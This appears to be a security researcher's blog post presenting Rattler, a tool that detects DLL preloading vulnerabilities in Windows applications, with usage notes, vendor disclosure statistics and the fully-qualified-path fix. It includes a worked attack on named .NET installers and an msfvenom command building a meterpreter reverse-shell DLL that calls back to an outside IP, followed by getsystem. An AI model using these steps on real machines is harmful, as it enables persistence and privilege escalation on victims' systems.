In this blog post I am going to describe a new tool (Rattler) that I have been working on and discuss some of the interesting anomalies found while building it. Rattler can be found on our Github repo and was recently discussed at BSides Cape Town.
What is Rattler?
Rattler helps identify which application DLL’s are vulnerable to DLL preloading attacks. In a nutshell, DLL preloading attacks allow you to trick applications into loading and executing malicious DLL’s. DLL preloading attacks can result in escalation of privileges, persistence and RCE in some cases. While preloading attacks are nothing new, there were some interesting results found. For more information on DLL security, I found this link to be helpful.
Why do I use Rattler?
Rattler has made it quick and easy to identify a vector to get payloads executed. For example, if an application were to have ~100 DLL’s and if it took ~2 minutes to test each DLL, that is ~2 hours for a single application to be tested using a manual process. Additionally, the process for testing an application for DLL preloading vulnerabilities is rather simple and can be automated trivially using some C++, Windows API calls and fresh beard oil , hence Rattler.
Sure there are certain requirements to exploit DLL preloading vulnerabilities such as file access etc however the three most useful instances relate to post exploitation and they are, persistence, privilege escalation and RCE in some cases. When pwning a host, you may want persistence whether it’s to add to your botnet or merely pivot. One way to gain persistence is to exploit a DLL preloading vulnerability on the target host. For example, if the target host has VoiceAndVideoApplicationX.exe installed and this executable is vulnerable to DLL preloading attacks then all I need to do is identify a vulnerable DLL using Rattler, drop my payload in the appropriate CWD and voila, every time the user/hosts runs VoiceAndVideoApplicationX.exe, my payload is executed as well. Another useful tangent that Rattler can be used for is the elevation of privileges. One of the golden rules in pwning is that one tends to inherit the permissions of the exploited entity. For example, if I have an installer in the ‘Downloads’ folder (which is untrusted FYI so very easy to write to this folder) and this installer requires admin privileges to install? What do you think happens when your malicious DLL is executed by the installer?To make this concrete, download the latest Windows .Net installer (NDP461-KB3102438-Web.exe) or (NDP462-KB3151800-x86-x64-AllOS-ENU.exe). Create a malicious DLL and place it in the Downloads folder and name the payload DLL to “CRYPTSP.dll”. Run the installer and voila, I will leave the remainder of this to the reader, you know where I am going;) If not, use the following command to generate a malicious DLL “msfvenom -p windows/meterpreter/reverse_tcp LHOST=188.8.131.52 LPORT=4444 -f DLL >beard.dll”, create your multi handler and once you get your connection back, run good ‘ol “getsystem” in your meterpreter session and voila. System via DLL preloading. It sounds better than it is but still, should this happen?
How does Rattler Rattle?
Say that ^ five times fast ;) Rattler automates the following procedure for identifying DLL’s that are vulnerable to preloading attacks.
Step 1: Identify DLL’s utilised by the application
This can be achieved multiple ways such as using WinDBG, Process Explorer, ProcMon or having a look at the Import Address Table (PE IAT). Rattler makes use of the Windows Process Status API call “EnumProcessModules” to get a handle on the DLL’s.
Step 2: Target DLL’s with !FQP’s
From the list of DLL’s utilised by the application, identify DLL’s which DO NOT make use of a fully qualified path (FQP). These DLL’s will trigger the DLL search order that we will exploit. For more information on the DLL search order, go to this link and for more information on identifying DLL’s that do not make use of a FQP, have a look at HD Moore’s DLL hijack audit kit here.
Step 3: Enumerate targets DLL’s
At this point, we want to target the DLL’s that do not use FQP’s. We target these DLL’s by placing a malicious DLL in the current working directory (CWD) of the target executable and name the malicious DLL after any one of the identified target DLL’s (the DLL’s that don’t use FQP’s). For example, if our target executable is located in “c:\my\program\target.exe” and we have identified “thisIsA.dll” as a utilised DLL with no FQP, then we place our malicious DLL at, “c:\my\program\thisIsA.dll”. In the case of Rattler, apply this to ALL the DLL’s utilised by the application, just in case.
Step 4: Run targeted Application
Simply execute the target application. If the targeted DLL i.e “thisIsA.dll” is vulnerable, then the malicious DLL would have been executed.
Step 5: Automate Steps 1-4
There exists multiple scripts/approaches to identifying preloading vulnerabilities, most notably HD Moore‘s DLL audit kit. However existing approaches still require additional manual verification of the results and do not focus on exploitable results. This is where Rattler differs in its approach. Rattler will identify vulnerable DLL’s and attempt to exploit them. Thus when running Rattler, if you see “calc” popping a lot, you are going to have some phun.
So how does one drive Rattler? Firstly, get the code or prebuilt binaries at our Github repo. Rattler requires two inputs, the path to the executable you want to target the “mode”. At the time of this post, Rattler only has one mode so the value “1” will suffice. Additional modes of enumeration such as “only enumerate custom DLL’s” are currently in development. This leaves us with the usage “>Rattler_32.exe ‘c:\path\to\executable.exe’ 1”
Depending on the permissions of the targeted executable, Rattler may need to be run as an administrator. While Rattler is running, it will monitor instances of the application being targeted so you need to make sure that the process is not already running before running Rattler. Once Rattler has executed, it will give you a list of DLL’s that can be used to perform preloading attacks against the target application.
What happens when things Rattle?
To get a handle for the scope of the problem, and how it’s perceived by developers, I submitted some bug bounties to extract some statistics. Using Rattler, I submitted 11 bug reports. This resulted in 8 acknowledgments of the problem. The remaining three vendors “accepted the risk”. Outside of bug bounty programs, 8 vendors were contacted and the majority did not see this as a problem and accepted the risk whereas some acknowledged the risk and fixed the problem.
How to fix?
DLL preloading attacks are the result of applications not making use of fully qualified paths when loading DLL’s. The lack of FQP’s triggers the Windows search order and this is where we get our vulnerability. To address this, make use of fully qualified paths when utilizing DLL’s. Oh and maybe some DLL verification and validation might help, but that may be overkill.
Rattler can benefit from multiple enhancements. Firstly parallel analysis of sorts to decrease enumeration time. Secondly the enumeration of only DLL’s that do not make use of FQP’s. This is on the TODO list